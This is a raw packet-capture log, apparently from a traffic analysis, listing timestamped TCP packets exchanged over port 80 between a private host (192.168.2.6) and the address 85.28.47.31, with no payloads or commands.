Jul 26, 2024 10:36:14.838326931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838326931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838337898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838349104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838366032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838366032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838406086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838902950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838913918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838923931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838937044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838947058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838948011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838958979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838970900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838980913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838983059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838994026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839004993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839016914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839023113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839023113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839027882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839039087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839051962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839051962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839051962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839101076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839505911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839518070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839528084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839540005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839551926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839551926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839564085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839575052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839586020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839597940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839602947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839602947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839607000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.839644909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.839644909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.926516056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926574945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926587105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926672935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926683903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926696062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926702023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.926707029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.926752090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927336931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927357912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927369118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927417994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927490950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927504063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927550077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927587986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927599907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927612066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927623034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927633047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927637100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927696943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927772999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927783966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927794933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927839994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927839994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.927933931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927946091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927957058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927972078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.927984953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928009033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928009033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928060055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928081036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928091049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928102970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928116083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928128004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928139925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928150892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928157091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928157091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928172112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928179026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928189993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928198099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928199053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928210974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928222895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928232908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928236008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928236008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928244114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928256035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928261995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928370953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928632021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928642988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928692102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928791046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928802967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928812027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928823948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928834915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928845882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928845882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928848028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928858995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928873062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.928880930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928914070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.928914070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931420088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931456089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931467056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931498051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931498051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931556940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931567907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931579113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931591034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931608915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931627989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931653976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931690931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931701899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931711912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931735039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931780100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931792021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931801081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931811094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931824923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931827068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931827068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931835890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931849957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.931878090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.931878090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932073116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932097912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932111025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932133913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932173967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932173967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932184935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932194948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932208061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932219982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932231903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932233095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932241917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932255030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932256937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932265997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932267904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932298899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932320118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932713985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932724953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932734966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932746887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932758093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932768106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932770014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932785988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932796955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932801962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932811975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932813883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932813883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932825089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932837009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932847023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932857990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932868958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932874918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932874918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932879925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932892084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932908058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932909012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932909966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932919025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932929993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932930946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932940960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932951927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932964087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932974100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.932985067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932985067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.932986021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933007956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.933060884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.933514118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933527946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933537960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933548927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933556080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.933559895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933571100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.933598995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.933598995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.933625937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019433022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019457102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019468069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019535065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019555092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019555092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019606113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019608974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019618034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019629002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019650936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019650936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019671917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019737959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019787073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019818068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019828081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019859076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019905090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019917011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019927025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019941092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019946098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019952059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.019980907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.019998074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020159960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020170927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020181894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020195007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020201921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020206928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020217896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020241976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020257950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020433903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020443916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020454884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020486116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020499945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020503998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020503998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020512104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020524979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020528078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020575047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020575047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020771027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020781040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020793915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020812035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020822048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020823002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020833969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020845890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020855904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020855904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020858049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020869970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020881891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020894051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020900011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020900011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020911932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.020950079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.020950079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.021261930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021274090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021285057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021331072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.021331072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.021790028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021802902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021814108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021847963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.021871090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.021905899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021918058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021929026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021941900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021954060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021965027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021982908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.021984100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.021984100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.022016048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.022016048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023191929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023202896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023215055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023226023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023236990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023248911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023250103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023258924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023271084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023283005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023288965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023294926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023305893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023319006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023319006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023325920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023338079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023343086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023348093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023358107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023369074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023379087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023390055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023401022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023401022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023401976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023420095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023421049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023432970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023442984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023456097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023467064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023471117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023471117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023478031 CEST	80	49710	85.28.47.31	192.168.2.6
